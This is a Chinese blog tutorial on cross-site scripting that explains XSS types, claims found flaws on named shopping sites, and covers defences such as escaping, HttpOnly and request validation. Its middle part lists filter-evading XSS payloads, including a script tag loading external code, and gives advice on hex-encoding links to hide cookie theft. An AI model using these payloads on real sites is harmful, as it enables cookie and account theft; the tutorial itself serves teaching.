声明：本文仅供学习研究之用，对于本文提到的某些网站的XSS漏洞，请读者发扬高尚的人道主义精神不要去危害他人，同时希望相应的网站能够尽快修补XSS漏洞。
简介
XSS又叫CSS (Cross Site Script) ，跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码，当用户浏览该页之时，嵌入其中Web里面的html代码会被执行，从而达到恶意用户的特殊目的。
使用过ASP的同学一定见过这样的代码：
<%
Response.Write(Request.Querystring("name"))
%>
假如我传入的name的值为：
这样就可以直接盗取用户的cookie。所以我就可以发送一条链接地址让别人去点：
当然这样做没有一点隐蔽性，虽然前面的xxx.com瞒过了少数人，但大多数人可以辨认出后面的javascript代码，所以，我只需要将后面的javascript代码转换成URL的16进制，如：
上面的URL你还认得吗？除非你把它转换出来。（进制转换可以使用Napkin工具，哎，太坏了。。有人问Napkin的下载地址，贴在这里好了：http://www.0x90.org/releases/napkin/Napkin-1.0-Windows.zip）
根本原因
- 没有严格区分“数据”和“代码”
示例
发现大名鼎鼎的淘宝网也存在这样的漏洞，我们在搜索框中输入：
这样，我们已经修改了淘宝原有的页面，在下面嵌入了百度的首页。效果如图：
使用时机
我尝试在各种不同网站寻找 XSS漏洞， baidu, amazon.cn, youku.com, dangdang.com等等。结果，我发现XSS漏洞非常普遍！其实XSS利用的是网页的回显，即，接收用户的输入，然后再在页面显示用户的输入。总结 一下几个可能会出现漏洞的地方：
- 搜索引擎2. 留言板3. 错误页面
通过在上面那些类型的页面输入一些特殊的字符（包括< > / “），如：</?jjkk>，然后在结果页中的源码处搜索是否存在原样的：</?jjkk>，如果存在，恭喜你，发现了一个XSS漏洞。
分类
1. DOM-based cross-site scripting
页面本身包含一些DOM对象的操作，如果未对输入的参数进行处理，可能会导致执行恶意脚本。如下面一些DOM操作：
document.URLUnencoded
document.location (and many of its properties)
document.referrer
window.location (and many of its properties)
举个例子，假如某个脆弱的页面的代码如下：
<TITLE>Welcome!</TITLE>
Hi
<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
<BR>
Welcome to our system
…
</HTML>
攻击者使用如下的URL访问时，则非常危险：
试了一下，貌似IE、FireFox等浏览器默认对<script>alert(document.cookie)</script>进行了编码，阻止了脚本的执行。但是对于DOM操作还是要更加谨慎啊，比如把上面的页面修改一下，安全性就增强了不少：
var pos=document.URL.indexOf("name=")+5;
var name=document.URL.substring(pos,document.URL.length);
if (name.match(/^[a-zA-Z0-9]$/))
{
document.write(name);
}
else
{
window.alert("Security error");
}
</SCRIPT>
2. Reflected cross-site scripting
也被称为None-Persistent cross-site scripting，即，非持久化的XSS攻击，是我们通常所说的，也是最常用，使用最广的一种方式。它通过给别人发送带有恶意脚本代码参数的URL，当URL地址被打开时，特有的恶意代码参数被HTML解析、执行。它的特点是非持久化，必须用户点击带有特定参数的链接菜能引起。
3. Persistent cross-site scripting
持久化XSS攻击，指的是恶意脚本代码被存储进被攻击的数据库，当其他用户正常浏览网页时，站点从数据库中读取了非法用户存入非法数据，恶意脚本代码被执行。这种攻击类型通常在留言板等地方出现。
实施方式
我们来试一把Reflected cross-site scripting。当我们在某网站输入参数XXX，发现参数XXX原样的出现在了页面源码中：
OK，可以开始做文章了，我们将XXX替换为：abc”/><script>alert(‘haha’)</script><a href=”，返回的HTML代码如下：
这样，<script>alert(‘haha’)</script>被执行了。这里再举例一些XSS攻击行为：
<IMG SRC=javascript:alert(‘XSS’)>
<IMG SRC="javascript:alert(String.fromCharCode(88,83,83))">
<IMG SRC="jav ascript:alert(‘XSS’);">
<SCRIPT/XSS SRC="http://example.com/xss.js”></SCRIPT>
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
<iframe src=http://example.com/scriptlet.html <
<INPUT TYPE="IMAGE” SRC="javascript:alert(‘XSS’);">
<BODY BACKGROUND="javascript:alert(‘XSS’)">
<BODY ONLOAD=alert(document.cookie)>
<BODY onload!#$%&()*~+-_.,:;?@[/|”]^`=alert(“XSS”)>
<IMG DYNSRC="javascript:alert(‘XSS’)">
<IMG DYNSRC="javascript:alert(‘XSS’)">
<BR SIZE=”&{alert(‘XSS’)}">
<IMG SRC='vbscript:msgbox(“XSS”)'>
<TABLE BACKGROUND="javascript:alert(‘XSS’)">
<DIV STYLE="width: expression(alert(‘XSS’));">
<DIV STYLE="background-image: url(javascript:alert(‘XSS’))">
<STYLE TYPE="text/javascript”>alert(‘XSS’);</STYLE>
<STYLE type="text/css”>BODY{background:url(“javascript:alert(‘XSS’)")}</STYLE>
<?=’<SCRIPT>alert(“XSS”)</SCRIPT>'?>
<A HREF="javascript:document.location='http://www.example.com/'">XSS</A>
<IMG SRC=javascript:alert(‘XSS’)>
<EMBED SRC="http://ha.ckers.org/xss.swf” AllowScriptAccess="always”></EMBED>
a="get”;
b="URL(""";
c="javascript:";
d="alert(‘XSS’);"")";
eval(a+b+c+d);
更加详细的列表请参见 5
危害
- 盗取各类用户帐号，如机器登录帐号、用户网银帐号、各类管理员帐号2. 控制企业数据，包括读取、篡改、添加、删除企业敏感数据的能力3. 盗窃企业重要的具有商业价值的资料4. 非法转账5. 强制发送电子邮件6. 网站挂马7. 控制受害者机器向其它网站发起攻击
防范
-
必须明确：一切输入都是有害的，不要信任一切输入的数据。2. 缓和XSS问题的首要法则是确定哪个输入是有效的，并且拒绝所有别的无效输入。3. 替换危险字符，如："&", “<", “>", “""，"'", “/", “?"，";", “:", “%", “<SPACE>", “=”, “+”。各种语言替换的程度不尽相同，但是基本上能抵御住一般的XSS攻击。
1. <tt>python</tt>的cgi.escape函数： <div style="border: 1px solid #cccccc; padding: 4px 5px 4px 14px; background-color: #333333; color: #ffffff;"><span style="color: #fb660a; font-weight: bold;">def</span> <span style="color: #ff0086; font-weight: bold;">escape</span><span style="color: #ffffff;">(</span><span style="color: #ffffff;">s</span><span style="color: #ffffff;">,</span> <span style="color: #ffffff;">quote</span><span style="color: #ffffff;">=</span><span style="color: #ffffff;">None</span><span style="color: #ffffff;">):</span> <span style="color: #ffffff;"> </span><span style="color: #0086d2;">'''Replace special characters "&", "<" and ">" to HTML-safe sequences.</span> <span style="color: #0086d2;"> If the optional flag quote is true, the quotation mark character (")</span> <span style="color: #0086d2;"> is also translated.'''</span> <span style="color: #ffffff;"> </span><span style="color: #ffffff;">s</span> <span style="color: #ffffff;">=</span> <span style="color: #ffffff;">s</span><span style="color: #ffffff;">.</span><span style="color: #ffffff;">replace</span><span style="color: #ffffff;">(</span><span style="color: #0086d2;">"&"</span><span style="color: #ffffff;">,</span> <span style="color: #0086d2;">"&amp;"</span><span style="color: #ffffff;">)</span> <span style="color: #008800; font-style: italic; background-color: #0f140f;"># Must be done first!</span> <span style="color: #ffffff;"> </span><span style="color: #ffffff;">s</span> <span style="color: #ffffff;">=</span> <span style="color: #ffffff;">s</span><span style="color: #ffffff;">.</span><span style="color: #ffffff;">replace</span><span style="color: #ffffff;">(</span><span style="color: #0086d2;">"<"</span><span style="color: #ffffff;">,</span> <span style="color: #0086d2;">"&lt;"</span><span style="color: #ffffff;">)</span> <span style="color: #ffffff;"> </span><span style="color: #ffffff;">s</span> <span style="color: #ffffff;">=</span> <span style="color: #ffffff;">s</span><span style="color: #ffffff;">.</span><span style="color: #ffffff;">replace</span><span style="color: #ffffff;">(</span><span style="color: #0086d2;">">"</span><span style="color: #ffffff;">,</span> <span style="color: #0086d2;">"&gt;"</span><span style="color: #ffffff;">)</span> <span style="color: #ffffff;"> </span><span style="color: #fb660a; font-weight: bold;">if</span> <span style="color: #ffffff;">quote</span><span style="color: #ffffff;">:</span> <span style="color: #ffffff;"> </span><span style="color: #ffffff;">s</span> <span style="color: #ffffff;">=</span> <span style="color: #ffffff;">s</span><span style="color: #ffffff;">.</span><span style="color: #ffffff;">replace</span><span style="color: #ffffff;">(</span><span style="color: #0086d2;">'"'</span><span style="color: #ffffff;">,</span> <span style="color: #0086d2;">"&quot;"</span><span style="color: #ffffff;">)</span> <span style="color: #fb660a; font-weight: bold;">return</span> <span style="color: #ffffff;">s</span></div>-
ASP中的Server.HTMLEncode：
-
ASP.NET的Server.HtmlEncode及Server.UrlEncode：
String EncodedString = Server.HtmlEncode(TestString);
Server.UrlEncode(Request.Url.ToString());
-
PHP的htmlspecialchars方法：
$new = htmlspecialchars(”<a href='test’>Test</a>“, ENT_QUOTES);
echo $new; // <a href='test’>Test</a>
?>
-
JAVA中的java.net.URLEncode.encode：
-
-
有些网站使用过滤javascript关键字的办法来防止XSS，其实是很不明智的，因为XSS有时候根本就不需要javascript关键字或者对javascript关键字进行格式变化来躲过过滤。5. 为所有的标记属性加上双引号。应该说这也不是万全之策，只是在转义了双引号的前提下的一道安全保障。比如：
不加双引号时，onclick被执行了：
-
将数据插入到innerText属性中，脚本将不会被执行。如果是innerHTML属性，则必须确保输入是安全的。如ASP.NET中：
<html>
<body>
<span id="Welcome1" runat="server"> </span>
<span id="Welcome2" runat="server"> </span>
</body>
</html>
<script runat="server">
private void Page_Load(Object Src, EventArgs e)
{
// Using InnerText renders the content safe–no need to HtmlEncode
Welcome1.InnerText = "haha";
// Using InnerHtml requires the use of HtmlEncode to make it safe
Welcome2.InnerHtml = "Hello, “ + Server.HtmlEncode("haha");
}
</Script>
-
使用IE6.0SP1的cookie选项HttpOnly，注意，HttpOnly只能阻止恶意脚本读取cookie，并不能阻止XSS攻击。比如在ASP.NET中：
cookie.Path = ”/; HttpOnly";
Response.Cookies.Add(cookie);
-
使用IE的<IFrame>的Security属性，设置为restricted后，frame中的脚本将不能执行(仅限于IE)。如：
-
ASP.NET中的ValidateRequest配置选项。默认情况下，这个功能是开启的，这个功能将会检查用户是否试图在cookie、查询字符串以及HTML表格中设置HTML或脚本。如果请求包含这种潜在的危险输入，就会抛出一个HttpRequestValidationException异常。我在尝试试探当当网的XSS漏洞时发现这个异常信息，可以说当当网使用了ValidateRequest这个选项，或者从另一方面说，也许是无意中启用了这一选项，同时，将错误信息抛出给用户是非常不安全的。
1. 给一个页面设置ValidateRequest选项： <div dir="ltr"> <div style="border: 1px solid #cccccc; padding: 4px 5px 4px 14px; background-color: #333333; color: #ffffff;"><span style="color: #ffffff;"><%</span><span style="color: #ffffff;">@</span> <span style="color: #ffffff;">Page</span> <span style="color: #ffffff;">Language</span><span style="color: #ffffff;">=</span><span style="color: #0086d2;">"C#"</span> <span style="color: #ffffff;">ValidateRequest</span><span style="color: #ffffff;">=</span><span style="color: #0086d2;">"false"</span> <span style="color: #ffffff;">%></span></div> </div>-
在Machine.config中设置全局ValidateRequest选项，注意，如果在Web.config中重新设置，不会覆盖Machine.config中的这一设置：
<pages buffer="true" validateRequest="true" />
</system.web>
-
让我们来目睹当当网给我们带来的这一盛况：
-
-
在一些必须使用到HTML标签的地方，比如公告栏，可以使用其他格式的标示代替，比如论坛中广泛使用的BBCode，用[i]…[“i]来表示斜体。11. 然而，对于一些允许用户输入特定HTML的地方，强烈建议使用正则表达式进行匹配。比如： if (/^(?:[“s"w”?"!","."'""]*|(?:"<"/"?(?:i|b|p|br|em|pre)">))*$/i)
<span style="color: #ffffff;">{</span>
<span style="color: #ffffff;"> </span><span style="color: #008800; font-style: italic; background-color: #0f140f;">#Cool, it's valid input</span>
<span style="color: #ffffff;">}</span></div>
发现问题
- 查找所有包含用户输入的入口。2. 跟踪流入应用程序的每一个数据。3. 确定数据是否与输出有关系。4. 如果与输出有关，它是不是原始数据，是不是经过处理的？
参考资料
-
Michael Howard, David LeBlanc. “Writing Secure Code”
-
Mike Andrews, James A. Whittaker “How to Break Web Software”
-
Klein, Amit (July 4, 2005). “DOM Based Cross Site Scripting or XSS of the Third Kind". Web Application Security Consortium. Retrieved on 2008-05-28.
-
[http://ha.ckers.org/xss.html
](http://ha.ckers.org/xss.html) 下一篇 ： (原创)攻击方式学习之(2) - SQL注入(SQL Injection)
[温馨提示]：该文章由原博客园导入而来，如排版效果不佳，请移步：http://www.cnblogs.com/coderzh/archive/2008/09/06/1285500.html
作者：CoderZh
微信关注：hacker-thinking （代码随想）
本文出处：https://blog.coderzh.com/2008/09/06/1285500/
文章版权归本人所有，欢迎转载，但未经作者同意必须保留此段声明，且在文章页面明显位置给出原文连接，否则保留追究法律责任的权利。